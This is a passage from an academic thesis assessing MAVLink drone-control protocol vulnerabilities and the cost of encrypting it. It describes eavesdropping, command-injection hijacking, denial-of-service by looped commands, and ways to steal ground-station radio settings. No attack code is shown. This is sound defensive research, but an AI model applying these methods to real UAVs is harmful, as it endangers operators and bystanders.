Windows and MacOS platforms, this research relies on custom Python scripts in the Kali
Linux OS to send MAVLink messages to the UAV. The examination of MAVLink frames
in Wireshark and replication of commands in Python are possible because Mission Planner
and QGroundControl applications are Free Open-Source Software (FOSS) [MCG+11a].
2.8 Scapy
Scapy is a Python-based, interactive packet manipulation program. It enables the
user to capture, dissect, construct, and transmit packets across a network. Scapy can
scan, probe, trace the route of a packet’s source, and perform network attacks. It is
extendable by binding new protocols through included hooks. The development of Scapy
in Python allows it to be executed on all popular operating systems, and it supports popular
protocols [Bio10, Max12]. Although excluded from this research, Scapy can be used to
attack the integrity of the UAS by spooﬁng messages to the GCS [Hag12].
2.9 MAVProxy
MAVProxy is an open source, command-line GCS based on Python that enables a
pilot to communicate with and C 2 any UAV that supports the MAVLink protocol. It allows
for nearly every function of Mission Planner to be executed using commands entered in a
console [Tri12]. An attacker may choose MAVProxy because it can be rapidly loaded in a
terminal or console, and it can be easily modiﬁed to execute custom Python scripts. On the
attacker and network monitor systems in this research attackerGCS.py is used, a modiﬁed
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version of MAVProxy that includes functions for each exploit and timestamps printed
to measure network latency. Appendix G contains the modiﬁcations to MAVProxy for
recreating the attackerGCS.py used on the attacker system (depicted in Figure 2.4 during
an eavesdropping attack).
Figure 2.4: Modiﬁed Version of MAVProxy, attackerGCS.py
2.10 Network Attacks
There are many diﬀerent methods and motivations for attackers to target a network or
device [Sko06]. Attackers may target a UAS to determine what area is under surveillance
(i.e., eavesdropping), to take control of a UAV to analyze or re-purpose it (i.e., hijacking),
or to terminate ongoing aerial surveillance (i.e., denial-of-service) [GDC09, JF08, RGD11,
LGV13]. Regardless of an attacker’s purpose or method, the attacker usually targets one
of the three “pillars” of the standard systems security model: conﬁdentiality, integrity, and
24
availability (CIA). Section 2.10.2 and Section 2.10.3 expound this model and how it
relates to attacking UASs, since each of these attacks are explored in the experiments of
this research. The following section elaborates on the scope of this research.
2.10.1 Target Acquisition
The attacks discussed in the following sections assume the conﬁguration settings for
the data-link hardware have been obtained because there are many methods by which an
attacker could obtain the conﬁguration settings. These methods can be categorized as local
access and remote access methods of data acquisition.
2.10.1.1 Local Access
Local, or physical, access refers to an attacker having physical access to a system.
Regarding this research, if an attacker can gain physical access to the GCS used to pilot the
UAV (e.g., through social engineering or site inﬁltration), a USB thumb-drive programmed
to be recognized as a Human-Interface Device (HID) (e.g., keyboard, mouse, etc.) could
be attached that downloads the conﬁguration settings stored in the Mission Planner log
ﬁles [Cre11]. Another method an attacker could use is the “Kali Linux ISO-of-doom,”
which is a bootable DVD inserted in a system that, once rebooted, connects to the
attacker’s hard-coded host address, allowing complete control of the GCS for exﬁltration
of the conﬁguration settings or further malicious activity [Lin13]. These are just two
examples of the many ways an attacker, given physical access to the GCS, could acquire
the conﬁguration settings used to communicate with the UAV.
2.10.1.2 Remote Access
The other method of data extraction an attacker can use to acquire the conﬁguration
settings needed to communicate with a UAV is to access the GCS remotely. Because
Mission Planner uses Google Maps to display the UAV’s location [Obo12b], it is clear
that (without alternative mapping solution implemented) the GCS will require access to the
Internet to download the maps. This requirement exposes a vector of attack for someone
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wanting to obtain the communication conﬁguration settings. Further vulnerability scanning
or social engineering may reveal a viable method by which an attacker may inﬁltrate the
Internet-connected GCS to acquire the conﬁguration settings from the Mission Planner log
ﬁles [Sko06].
Once the conﬁguration settings of the 3DR radios are obtained, the following attacks
may be used to compromise the conﬁdentiality, integrity, or availability of the UAV or GCS.
2.10.2 Man-in-the-Middle
The Man-in-the-Middle (MITM) attack is used to breach the conﬁdentiality or
integrity of a system. As the name suggests, the attack places the attacker between the
authorized or oﬃcial sender and the intended receiver. On computer networks this attack is
usually achieved through physical emplacement of the attacker on the data-link between the
target sender and receiver, or through a virtual implementation of this design via techniques
like Address Resolution Protocol (ARP) spooﬁng and port stealing [Sko06].
Because most UAS communication (that does not use Wi-Fi) is not addressed to the
GCS, the commands, acknowledgments and status updates are transmitted to all users
sharing the same conﬁguration settings. This communications topography makes the
MITM attack diﬀerent from most network executions because the attacker technically
never needs to be “between” the GCS and UAV; the attacker only needs to use network
conﬁguration settings identical to the GCS to violate the UAS integrity or conﬁdentiality.
The three attacks performed in this research could each be considered a MITM attack,
regardless of the attacker’s geographical location with respect to the GCS and UAV.
2.10.2.1 Eavesdropping
A successful MITM attack against a UAS allows an attacker to know all of the
commands sent from the GCS to the UAV, and enables the attacker to monitor all
telemetry sent by the UAV because of the violation of the conﬁdentiality of the UAS.
In order to prevent this type of UAS eavesdropping, many developers implement some
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sort of data encryption in the UAV and GCS to establish Communication Security
(COMSEC) [Dal08, SVW09]. An attacker would need the decryption key to violate the
conﬁdentiality of a UAS protected with COMSEC.
2.10.2.2 Hijacking
A successful MITM attack against a UAS would also enable an attacker to transmit
unauthorized commands to the UAV and take control of it from the GCS (i.e., hijacking)
due to the integrity violation of the UAS. Some UAS developers implement message
authentication to prevent this type of attack [Dal08]. By authenticating each command,
the UAV ensures the commands it receives are actually from a trusted source (i.e., the true
GCS).
2.10.3 Denial-of-Service
A Denial-of-Service (DoS) attack against a UAS results in the UAV becoming unre-
sponsive to the GCS, or vice versa, due to the violation of the system’s availability [MDDR04].
Most UAS developers have implemented safety checks to combat a DoS by conﬁguring the
UAV to automatically return to the launch point if the connection with the GCS is termi-
nated [Dal08]. Although this feature seems to be a prudent course of action with regard to
safety, a successful DoS attack against a UAS would eﬀectively keep the UAV “grounded”
or “hung” due to inability to communicate with the GCS. This attack would achieve the
goal of terminating availability and preventing further aerial surveillance or reconnaissance.
The two primary means by which an attacker could perform a DoS attack against
a UAS are frequency-jamming and indeﬁnite MITM attack. An attacker could build a
spark gap transmitter [Bel94] to eﬀectively jam the frequency being used to command and
control the UAV. This form of DoS attack is beyond the scope of this research as it is
unpreventable by UAS operators. Conducting a MITM attack within an inﬁnite loop could
eﬀectively deny the GCS communication with the UAV, since the UAV would constantly
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be occupied by commands sent from the attacker. This form of DoS attack is investigated
in this research because authenticated encryption could mitigate this attack [MDDR04].
2.11 Related Works
UAS research is currently a booming ﬁeld with much interest, funding and
publicity [Gol12]. As more UAVs attempt to share the NAS [Bab10, EFF12], the ﬁeld
is sure to gain even more attention [Azi12]. The following are a few related works that
helped deﬁne the scope of this research.
2.11.1 GPS Spooﬁng
There has been a vast amount of research into GPS spooﬁng since the Volpe Report
was released in 2001 [Vol01]. As recently as July 2013, the same University of Texas
research team that successfully brought down a Department of Homeland Security (DHS)
UAV in 2012 [SHF12] replicated the technique to take control of a 210-foot yacht [Tem13].
Much research is now focused on securing the GPS signals that many vehicles rely on for
navigation [WSBH11, MHL09, HLP+08, TPRC11].
2.11.2 AR Drone
In [Del12] the vulnerabilities of the AR Drone by Parrot are assessed. Many of the
techniques used in their research are also applicable to ﬁxed-wing UAVs, and they have
been modiﬁed for use in this research.
2.11.3 Player Protocol
This research is predominantly extended from the Vulnerability Analysis of the Player
Command and Control Protocol [Hag12]. Much of the methodology and inspiration for
this research is founded upon Hagen’s examination of the Player Protocol.
2.11.4 SMACCMPilot Project
The SMACCM Pilot project is a collection of libraries and tools providing ﬂight
software, APM ﬁrmware, and custom 3DR SiK radio ﬁrmware to achieve secure
communication with a SMACCM-enabled UAV. The project uses AES-GCM authenticated
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encryption in the APM ﬁrmware and custom gateway to communicate with a modiﬁed
version of the MAVProxy GCS [PHB+13].
2.12 Research Contributions
This research frames the importance of security in the context of UAS operations by
demonstrating the vulnerabilities in a popular C 2 protocol that may be under consideration
for use by many organizations in the near future. In addition to oﬀering a few suggestions
of cryptographic implementations that could be used to secure the MAVLink protocol, this
research presents a cost function that could be used to quantify the cost of securing the
MAVLink protocol, or other similar UAV C 2 protocols. Finally, this research provides
a baseline performance of the APM 2.5 operating on the unsecured MAVLink protocol
for comparison in future performance analysis of cryptographic solutions to secure the
protocol.
2.13 Literature Review Summary
This chapter explores UASs following the order of the OSI model, beginning from
Layer-1 (hardware) and ending with Layer-7 (application). An overview of UASs,
including common UASs and their utility and operation, a few signiﬁcant events related
to UASs and the inherent hazards of UAS operation are discussed. The APM 2.5
autopilot used in many SUAVs and MAVs, and common digital data-links used for UAS
communication and operation are also explained, including Wi-Fi and standard radio
frequency bands. The MAVLink protocol is thoroughly discussed, as well as the Mission
Planner application, which is the GCS used in this research. The attacks performed in this
research are brieﬂy explained, as well as other works related to this research. The next
chapter discusses the methodology proposed to perform the experiments used to evaluate
the cost of securing the MAVLink protocol.
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III. Methodology
This chapter describes a methodology for analyzing the vulnerabilities of the
MAVLink protocol used to command and control many SUAVs. The experiments described
in this chapter produce the data to support the research goals of this thesis. This data is
analyzed and presented in Chapter 5.
The research goals of this thesis are deﬁned in Section 3.1. Section 3.2 details
the approach used to accomplish these research goals. Section 3.3 deﬁnes the system
boundaries of the System Under Test (SUT). Section 3.4 outlines the services provided
by the SUT; Section 3.5 deﬁnes the workload the SUT performs during the experiments.
Section 3.6 deﬁnes the metrics used to measure the performance of the SUT. Section 3.7
details the workload parameters needed to replicate this research. Section 3.8 lists the
factors which most likely aﬀect system performance. The evaluation technique used
to test the research hypotheses is explained in Section 3.9. Section 3.10 illustrates
the experimental design used in this research. Finally, this chapter is summarized
in Section 3.11.
3.1 Research Goals
The three primary goals of this research are:
1) Assess the MAVLink protocol for vulnerabilities to network attacks,
2) Identify a cryptographic method of securing the MAVLink protocol, and
3) Provide a methodology that quantiﬁes the cost of securing the MAVLink protocol.
The processing capabilities and energy storage resources of the UAV are constrained
by the hardware restrictions inherent to mobile embedded devices. UAVs are also
conﬁned to the bandwidth of the established data-link used for both telemetry and C 2
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communications. If a cryptographic solution can eﬀectively secure the MAVLink protocol,
the overhead introduced could exceed the capabilities of some UAVs. This leads to deﬁning
the cost of a cryptographic implementation as a function of the added communications
latency, added power consumption, and its ability to defeat attacks against the CIA of the
UAS.
This research methodology is also designed to determine how attacking a UAV with
the MAVLink protocol secured will aﬀect system performance. The most notable questions
considered include: which types of C 2 exploits can the proposed cryptographic solutions
mitigate? Howwill the proposed cryptographic solutions and exploits impact performance?
Because the cryptographic solutions protect the CIA of the system, this research establishes
a baseline by which future research may determine any reduction in performance due to the
integration of cryptography into the software and ﬁrmware.
It is expected that attempts to exploit CIA of an unprotected UAS will be successful.
Securing the UAS with Salsa20 encryption and Poly1305 authentication used in NaCl,
or AES-GCM from LibTomCrypt, should protect the protocol from attacks against both
the integrity and conﬁdentiality of the UAS by encrypting the payload of the MAVLink
message (i.e., the command). Securing the UAS with the Rabbit cipher or XXTEA
will only protect the conﬁdentiality of the MAVLink messages, as both solutions lack
authentication. However, since no cryptographic solution can prevent consumption of
the shared communications medium used by the UAS, none are eﬀective in defense
against attacks on availability. Due to the additional processing necessary to perform
authentication and encryption algorithms, and the increased packet size from the padding
added by the authenticated encryption, using NaCl or AES-GCM is expected to incur
additional latency in UAS communications and power consumption by the embedded
processor in the autopilot. Integrating AES-GCM from LibTomCrypt is expected to be
the most resource intensive security implementation of the solutions examined in this
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research since it authenticates and encrypts each message using a slower method than
NaCl [HS13, KS09, Ber08].
Because attacks against conﬁdentiality do not inherently result in physical eﬀects,
they are not expected to aﬀect UAS communications latency. However, depending on
the cryptographic implementation, attacks against integrity and availability are expected to
increase communications latency because an attacker introduces additional packets into the
established communication between the GCS and the UAV that may be processed by the
targeted UAV [Hag12].
3.2 Approach
Once vulnerabilities in the MAVLink protocol that compromise the CIA of the UAS
are identiﬁed, an exploit is written to compromise MAVLink communication based on each
vulnerability. A script containing a repeatable set of commands the GCS sends to the UAV
is deﬁned for each experiment in Section 3.9. During the script of GCS commands being
transmitted, an attack-speciﬁc script is run on the attacker’s system attempting an exploit
against the UAS operating with an implementation of cryptographic security. A successful
breach of conﬁdentiality is identiﬁed if an exploit results in the accurate disclosure of the
UAV’s current location, or of the GCS’s command transmitted to the UAV. For an exploit
to successfully compromise the integrity of the UAS, the exploit must successfully inject
false commands or location data into the MAVLink connection. Successful exploitation of
the UAV’s availability is achieved when the GCS cannot communicate with the UAV. The
performance of the UAS is measured under the aforementioned conditions to quantify the
impact of the exploits and defense protocols.
3.3 Boundaries
The System Under Test (SUT) in this research is the Unmanned Aircraft Defense
System (UADS). The UADS, as shown in Figure 3.1, consists of the GCS, the UAV, an
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attacker, a defense protocol, and the data-link used to facilitate communication. Input to
the UADS includes authorized commands from the GCS as well as the attacker’s exploits.
Output from the UADS are both the responses of the UAV and updated telemetry sent back
to the GCS as a result of commands received.
Figure 3.1: Unmanned Aircraft Defense System
The UADS components are:
GCS — The GCS is a Dell Latitude E6500 laptop with 8 Gigabytes (GB) of
Random Access Memory (RAM), Microsoft Windows 7 OS that issues commands to
the UAV through the Mission Planner application, and listens for replies from the
UAV acknowledging commands via updated telemetry indicating the expected result or
containing the expected position data. The GCS and UAV must use the same defense
protocol to communicate properly.
UAV — The UAV is a Super Sky Surfer airframe containing the APM version 2.5
Arduino-based autopilot with an attached 3DR 915 MHz radio through which the Mission
Planner application on the GCS communicates with the UAV. As an embedded device,
the autopilot has more resource constraints than the GCS or the attacker. The APM 2.5
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autopilot acknowledges and listens for commands, transmits telemetry data to the GCS,
and controls the necessary hardware functions on the UAV to execute the commands
received. For example, in the conﬁguration used in this research, when the UAV receives
the command “rc 1 2000” from the GCS, it responds by activating servo number 1, fully
deﬂecting the ailerons on the wings which causes the UAV to attempt a hard left turn.
Attacker — The attacker is a Dell Latitude E6520 laptop with 4 GB of RAM and the
Kali Linux OS being used as a malicious, unauthorized user of the UAS. The attacker can
eavesdrop on communication between the GCS and UAV, as well as inject unauthorized
commands over the data-link. This malicious user attempts to exploit the vulnerabilities
of the MAVLink protocol to compromise the CIA of the C 2 communication between the
GCS and UAV. The attacker has no foreknowledge of any shared secret between the GCS
and UAV that might be used in a defense protocol, nor, it is assumed, will the attacker
attempt any “brute-force” attack to determine encryption or authentication keys, or radio
conﬁguration settings.
Network Monitor — The network monitor is a Toshiba Satellite laptop with 4 GB
of RAM and the Kali Linux OS being used strictly to monitor all communications in
the UADS data-link. The network monitor uses radio conﬁguration settings and defense
protocol identical to the GCS, yet is conﬁgured to prevent transmissions of any signals.
During each experiment it records the telemetry sent by the UAV and monitors the
acknowledgments sent by the UAV. The MAVProxy script is modiﬁed display each event
with a timestamp. Unlike the GCS and attacker, the network monitor receives signals
through an 8 dBi patch antenna attached to its 3DR 915 MHz radio to maximize signal
capture.
Data-link—The data-link is the communications channel facilitating the transmission
and receipt of commands and telemetry to and from the UAV. In this research the channel
does not provide conﬁdentiality, integrity, or authentication to the messages transmitted by
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any user in the UADS. Because it is a shared medium, all users contend for use of the
data-link and all messages can be read by any user with access to the UAS. The 3DR radios
employ Time-Division Multiplexing (TDM) allowing for a maximum 0.4 seconds of dwell
time on any frequency in the designated range [And13]. Since MAVLink is a point-to-point
protocol, when more than one device is synchronized to transmit at a time slot, collisions
occur increasing the latency to one or more of the devices. This observation is further
examined in Chapter 5.
Defense Protocol — The defense protocol is the Component Under Test (CUT) in this
methodology. It is a security mechanism in the form of a shared secret implemented in both
the GCS and UAV before communication between them is initiated to protect the CIA of
the UADS.
Although the MAVLink protocol and APM can support the receipt of commands from,
and broadcast telemetry to, multiple GCSs (or UAVs in a mobile mesh network), this
research is limited to a single GCS and UAV to focus on the vulnerability assessment of
the MAVLink protocol. The attacker’s exploits are conﬁned to the MAVLink protocol.
Therefore, the attacker does not attempt any vulnerability exploitation in the Mission
Planner application or the OS on the GCS, such as a buﬀer-overﬂow attack to execute
arbitrary code. The attacker only exploits the weaknesses inherent in the MAVLink
protocol to achieve physical eﬀects. The distinction between attack types is emphasized
to reduce the scope of this research to vulnerabilities in the MAVLink protocol versus
vulnerabilities in the software running on the GCS or the UAVs [Hag12].
3.4 Services
The two services provided by the UADS are a C 2 service and exploitation defense.
The C 2 service receives an input stream of commands transmitted from the GCS to the
UAV. A command is successful if the UAV acknowledges the command sent from the GCS
or telemetry indicates the command was processed; the command fails if the UAV does not
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execute the command sent from the GCS, or responds in a way other than commanded by
the GCS. A command activating a servo is successful if the UAV responds by activating
the corresponding servo on board, and the request fails if the UAV either does not respond
or performs an action the GCS did not command. The eﬀects of a failed request are not
examined as they do not support the research goals established in Section 3.1.
The other service provided by the UADS is the exploitation defense. The UADS
protects the CIA. This protection is successful if the cryptographic implementation defeats
the attacker’s attempt to exploit the vulnerabilities in the MAVLink protocol. Contrarily,
the outcome of this protection is a failure if the attacker’s exploitation attempt is successful.
Section 3.9 presents the precise goals of each exploit [Hag12].
3.5 Workload
The workload submitted to the UADS consists of two parts: a stream of commands
transmitted from the GCS to the UAV to perform the legitimate command and control of
the UAV, and one of three exploits launched by the attacker to demonstrate the exploitation
defense service of the UADS. The legitimate command stream models an authorized user
piloting the UAV with guided waypoint commands to provide real-time command and
control. The workload submitted to the UADS consists of an executed script containing
commonly used C 2 commands transmitted to the UAV over a period of 90 seconds. These
workload parameters are deﬁned in Section 3.7.
The other part of the workload submitted to the UADS includes the exploits
transmitted by the attacker. The three chosen exploits are intended to emulate typical
network attacks used to compromise the CIA of the system. Each exploit attempted in
the experiments is publicly available and demonstrates real-world impact on the command
and control of a UAV. These exploits are discussed in Section 3.7.1.
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3.6 Metrics
Figure 3.2 illustrates the following metrics that measure how employment of the
defense protocol in the UADS aﬀects system performance.
Exploitation Outcome — The goal of each exploit is to violate either the conﬁdential-
ity, integrity, or availability of the UADS. The success or failure of the UADS in defeating
or failing to defeat each exploit determines the success or failure of each exploit. By mea-
suring the vulnerabilities in the MAVLink protocol and the eﬃcacy of a cryptographic
implementation in securing it, this metric supports research goals one and two. The binary
metric of exploitation outcome is measured as a success or failure.
Network Latency — The GCS, UAV, and the attacker use the same data-link for
communications with a latency varying dependent upon processing and signal propagation
delay [KR12]. All users within the UADS communicate over a shared, bandwidth-limited
network. This metric quantiﬁes the network latency cost of using a cryptographic solution
(cCrypto) to secure the MAVLink protocol, consequently supporting the third research goal
deﬁned in Section 3.1.
Power Consumption — The UAV power consumption (measured in watts) increases
during communication with the GCS, and when processing either legitimate commands
from the GCS or unauthorized commands transmitted by the attacker. The measurement of
power consumption excludes the power used to keep the UAV airborne and stabilized, as
the airframe remained stationary during laboratory testing. This metric supports research
goal three by quantifying the energy cost of securing the MAVLink protocol with a
cryptographic solution since the UAV typically operates in a mobile environment with
energy storage constraints.
3.7 Parameters
The following workload and system parameters impact the UADS performance.
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Figure 3.2: Experimental Factors, Parameters, and Metrics
3.7.1 Workload Parameters
Command Period — The GCS transmits commands to the UAV at a ﬁxed interval
(in seconds per command) to perform legitimate command and control. The maximum
command period is constrained by the latency of the UAV response to commands. The
GCS remains idle listening for a response from the UAV before issuing a new command,
followed by a pause suﬃcient to allow execution of the current command. In the ﬁeld,
the command period of the GCS is dependent upon weather conditions aﬀecting the UAV
being tested because the next command is not transmitted until the UAV telemetry indicates
successful completion of the current command. In the laboratory, the command period
for this research is ﬁxed at 10 seconds/command to simulate optimal weather conditions
during a live ﬂight test. To emulate the distance the UAV traveled during ﬁeld tests, in
the laboratory the script used on the GCS (Appendix F) continues to subsequent waypoints
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based on time instead of location. During live ﬂight tests, the UAV took approximately 10
seconds on average to reach a subsequent waypoint.
Exploit — The attacker launches one of three speciﬁc attacks targeting the
conﬁdentiality, integrity or availability of the UADS. Each exploit is directly correlated
to its corresponding outcome metric, and could aﬀect network latency and power
consumption. These exploits are deﬁned in Section 3.8.
3.7.2 System Parameters
Platform — The platform is the computer upon which the GCS, UAV, and the attacker
operate. Conﬁguration settings for each system are provided in Chapter 4. The arrangement
of these platforms is provided in Figure 4.3.
— GCS: Dell Latitude E6500 with 8 GB of RAM, Microsoft Windows 7 running
Mission Planner version 1.2.88 application
— UAV: Super Sky Surfer, APM 2.5 running ArduPlane 2.76, 3DR 915 MHz Radio
— Attacker: Dell Latitude E6520 laptop with 4 GB of RAM running the MAVProxy
GCS script on the Kali Linux OS
— NetworkMonitor: Toshiba Satellite P205 with 2 GB of RAM running theMAVProxy
GCS script on the Kali Linux OS
CPU type — More powerful Central Processing Unit (CPU) architectures that process at
higher clock speeds signiﬁcantly impact the abilities of the GCS, UAV, and attacker to
transmit and process received messages at high rates. The AVR processor embedded in the
APM 2.5 directly aﬀects the network latency metric for the UAV. The following CPUs are
on each respective platform.
— GCS: Intel Core i7-2720QM CPU – x64 – 2.20 GHz
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— UAV: Atmel ATmega2560 AVR – Reduced Instruction Set Computing (RISC) –
16 MHz
— Attacker: Intel Core i7-2720QM CPU – x64 – 2.66 GHz
— Network Monitor: Intel Core 2 Duo CPU T5450 – x86 – 1.66 GHz
Memory — The GCS, UAV, attacker and network monitor in this research have the
following amount of available RAM for storing temporary information used to process
tasks. Insuﬃcient memory may cause the GCS or UAV to unexpectedly crash.
— GCS: 8 GB of RAM
— UAV (APM 2.5): 8 Kilobytes (KB) of RAM [3DR12]
— Attacker: 4 GB of RAM
— Network Monitor: 2 GB of RAM
Data-link Interface — The data-link interface is the peripheral Input/Output (IO)
device that the GCS, UAV, and any other user of the UADSmust use to transmit and receive
messages over the data-link. Each interface directly aﬀects the network load metric, and
the radio on board the UAV also aﬀects the power consumption metric. Each user of the
UADS uses the 3DR 915 MHz radio to communicate over the data-link. The conﬁguration
settings for these radios are provided in Section 4.3.
Operating System (OS) — The OS provides networking and processing services to
processes running on the GCS, UAV, and the attacker’s computer. The OS directly aﬀects
how kernel routines are executed and network packets are handled. The OS used on the
UAV directly impacts the network latency metric. The attacker computer uses the latest
stable Linux kernel to ensure results are applicable for future work. The GCS uses the
Microsoft Windows 7 Enterprise 64-bit OS, the attacker uses the Kali Linux 64-bit OS
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with the Kali Linux kernel version 3.7, and the Network Monitor uses the 32-bit version of
the same OS. The UAV does not use an OS; the APM 2.5 only contains a bootloader and
programming environment handling all hardware operations.
Network Type — The network type deﬁnes the link layer of communication that the
GCS, UAV, and the attacker use to communicate. The link layer protocol aﬀects the
network latency metric since it handles collisions and deﬁnes how users encapsulate the
higher level protocols. The network type used in this research is a point-to-point connection
in the RF spectrum facilitated by the 3DR 915 MHz radios. All users of the UADS share
a collision domain established by the identical conﬁguration settings of the 3DR radios
speciﬁed in Section 4.3.
Antenna — The antenna and UHF spectrum is the physical layer of communication
all users of the UADS use to transmit and receive messages. The physical layer aﬀects
the range the UAV can travel from the GCS, and depending on the antenna type and
ampliﬁcation, this hardware could determine which user the UAV responds to ﬁrst. In
this research the UAV, GCS, and attacker use the standard 2 dBi antenna provided by 3DR
for the 915 MHz radios, and the Network Monitor uses the same 3DR 915 MHz USB
”Ground” module receiving signals through a higher gain 8 dBi patch antenna made by
DronesVision [Dro14].
Mission Planner Version—TheGCS uses theMission Planner version 1.2.88 [Obo12b]
application to C 2 the UAV. The Mission Planner version aﬀects the message compatibility
for communication. The latest stable release of Mission Planner is chosen so that results
are applicable to future work.
Attack Tool — The attacker uses a modiﬁed version of the Python GCS application
MAVProxy to launch the exploits. The attack tool aﬀects the network latency and
exploitation outcome metrics. The most recent release is used to ensure the results are
applicable to future work. Both the attacker and network monitor use a modiﬁed version
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of MAVProxy (Appendix G) in the Python v2.7.2 programming environment on the Kali
Linux OS.
Cryptographic Implementation — The cryptographic implementation is the integra-
tion of the selected cryptographic solution (e.g., NaCl, LibTomCrypt, the Rabbit cipher,
XXTEA) into the GCS software and UAV ﬁrmware. The code containing the cryptographic
solution being tested is included, compiled and used in the Mission Planner software on
the Microsoft Windows 7 Enterprise OS for the GCS, and is also compiled in the Arduino
Sketchpad and loaded onto the APM 2.5 to be used on the UAV. If the network monitor
is used to record authenticated/encrypted data, then MAVProxy must also be modiﬁed to
include the selected cryptographic solution for securing the MAVLink protocol.
Cryptographic Algorithm — The network latency metric of the UADS is directly
aﬀected by the chosen cryptographic algorithms, which have been selected based on
performance analysis studies [HS13, BPVZ04, PVPP13]. The Salsa20 stream cipher
from NaCl, AES-GCM from LibTomCrypt, Rabbit stream cipher, and XXTEA stream
cipher provide conﬁdentiality using a symmetric-key encryption algorithm. The GCM
implementation of AES contains an AAD tag, and Poly1305 MAC from NaCl, is used
to authenticate communication. Cryptographic keys of 32 bytes are used to diminish the
feasibility of a successful brute-force attack against conﬁdentiality and integrity, and to
provide a fair comparison between cryptographic solutions in the cost analysis.
Power Supply — The UAV requires power for the APM, 3DR radio, propeller motor,
stabilizers, and payload servos. In order to support research goal three, the propeller motor,
stabilizers, and payload servos are powered separately from the APM and 3DR radio in
order to isolate power ﬂuctuation caused in response to received commands. The power
supply for the UAV in this research (APM 2.5 with 3DR radio and GPS receiver) is a 5V
regulated A/C power adapter.
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Table 3.1: Factors and Levels
Factor Level
Defense Protocol None, Salsa20+Poly1305, AES-GCM, Rabbit, XXTEA
Exploit None, Eavesdropping, Hijacking, Denial-of-Service
3.8 Factors
The factors and levels used in this research and proposed in the methodology are
outlined in Table 3.1.
Defense Protocol — The defense protocol is the CUT, and therefore must be selected
as a factor. This factor is expected to aﬀect all performance metrics. The defense
protocol levels are based on the cryptographic implementation because it can provide
conﬁdentiality and protect integrity of the MAVLink messages with minimal modiﬁcation
to the applications and ﬁrmware using the protocol. The 3DR radio conﬁguration settings
described in Section 4.3 deﬁnes the data-link settings used by the UAV, GCS, and attacker.
The factor levels are:
— None: There is no defense protocol used.
— NaCl: The Salsa20 stream cipher and Poly1305 MAC used in the “secretbox”
functions of tweetnacl and libsodium-net implement authenticated encryption to each
MAVLink message
— AES-GCM: The Galois/Counter Mode of operation provided by LibTomCrypt
provides authenticated AES-encryption.
— Rabbit: The Rabbit stream cipher rapidly encrypts the MAVLink messages,
protecting the conﬁdentiality of communication between the GCS and UAV. It does
not protect message integrity as it does not oﬀer authentication.
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— XXTEA: Like the Rabbit Cipher, the XXTEA stream cipher rapidly encrypts the
MAVLink messages, protecting the conﬁdentiality of communication between the
GCS and UAV. It also does not protect message integrity as it does not oﬀer
authentication.
Exploit — The exploit factor determines the ability of the defense protocol to defeat
attacks against the conﬁdentiality, integrity, or availability of the UADS. Each level below
represents a network attack detailed in [Hag12, Sko06, Del12].
— None: The attacker refrains from launching an attack against the UAV or GCS.
— Eavesdropping: The attacker passively captures and decodes the MAVLink messages
sent from the GCS to the UAV and the telemetry indicating the UAV’s position sent
to the GCS.
— Unauthorized Command Injection (“Hijacking”): The attacker periodically trans-
mits commands to the UAV to take control from the GCS. Note: transmitting this
attack through an ampliﬁer may ensure the UAV processes the attacker’s malicious
command instead of the legitimate commands sent from the GCS. Which command
transmitted is critical to evaluation in laboratory experiments because some com-
mands are diﬃcult to detect without a mobile airframe. In this research the mode
change commands are used to easily and quickly detect successful exploitation of
integrity vulnerabilities.
— Denial-of-Service (DoS): The attacker transmits unauthorized commands in an
inﬁnite loop to the UAV to prevent any of the legitimate commands submitted by the
GCS from being processed. This attack causes the UAV to devote CPU and memory
resources to processing the spoofed commands and could eventually cause the UAV
to crash. Similar to the hijacking exploit, which command transmitted is critical to
evaluation in laboratory experiments because some commands are diﬃcult to detect
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without a mobile airframe, and can directly aﬀect the latency metric. For example,
transmitting the “reboot” command in the DoS exploit imposes a signiﬁcantly greater
latency due to the APM failing to respond to commands during the reboot sequence.
In this research the command “loiter” is used in an inﬁnite loop to easily and quickly
detect successful exploitation of availability vulnerabilities.
— False Location Update: Although this integrity attack is not examined in this
research, an attacker can transmit spoofed messages to the GCS containing false
location data of the UAV using a tool like Scapy to spoof heartbeat messages [Hag12,
Bio10, Max12]. This attack makes the UAV pilot believe the UAV is at a diﬀerent
location, or following a false ﬂight-path.
3.9 Evaluation
3.9.1 Measurement Method
Measurements are taken of an experimental setup of the UADS to evaluate the
system under baseline conditions for comparison to tests with cryptographic solutions
implemented. Direct measurement is the ideal evaluation technique due to most of the
metrics being aﬀected by the physical architecture, spatial arrangement of devices, and
resources of the UADS users. Because the UAV is a physical, mobile system, measurement
produces more realistic results applicable to other mobile systems than other evaluation
techniques.
3.9.2 Metric Gathering
Exploitation Outcome (Attacker) — The attacker’s exploit is successful if it violates
the conﬁdentiality, integrity, or availability of the UADS that it is targeting, and the exploit
is a failure if it does not. The precise targets for each exploit are in Section 3.9.3.
Network Latency (GCS/UAV) — The Network Monitor records all network traﬃc
transmitted across the data-link. The Network Monitor is a Toshiba Satellite laptop with
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an attached 3DR 915 MHz USB “ground” module conﬁgured with settings identical to the
GCS, UAV, and attacker. It uses Wireshark 1.10.1 to passively capture and record all traﬃc
transmitted by all systems in the UADS. The network latency (in seconds) is calculated by
taking the diﬀerence in the timestamps of commands executed in the experimental scripts
(Appendices F and G) with the timestamps of baseline UAV responses. All responses
are indicated in the ﬂight telemetry logs collected by Mission Planner on the GCS, and
collected using a modiﬁed version of the MAVProxy GCS (Appendix G) on both the
network monitor and attacker systems that display timestamps of all recorded events.
Power Consumption (UAV) — The PortaPow USB power monitor reports voltage
or the current (amps) passing through it to the attached device to an accuracy of 0.01
amps, 0.05 volts, and to a maximum of 2 amps. Figure 4.3 shows the power monitor
attached to the autopilot. The display on the PortaPow updates the present current/voltage
approximately twice each second. During the experiments of this research, the displayed
current is recorded every three seconds to calculate a mean, medium and mode of power
consumption.
3.9.3 Experimental Timeline
The timeline used to perform the experiments deﬁned in this chapter is divided into
four phases, shown in Figure 3.3. In the Setup phase, all of the machines that make up the
SUT (the GCS, UAV, and attacker) are powered on and boot into their respective operating
systems. The GCS and UAV load the cryptographic solution corresponding to the defense
protocol factor level being studied. The GCS launches the Mission Planner application to
connect to the UAV. During the Setup phase, the network monitor launches MAVProxy
and Wireshark, respectively.
The Steady State phase begins after the GCS connects to the UAV. During this phase,
the GCS loads waypoints into a ﬂight-plan, which is then uploaded to the UAV. In a live
test, the UAV is then launched and manually piloted via Radio Controlled (RC) until it
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Figure 3.3: Experimental Timeline
reaches an altitude of 200 feet Above Ground Level (AGL). At this point the mission plan
is started and the APM begins transmitting its telemetry as the autopilot follows preplanned
instructions.
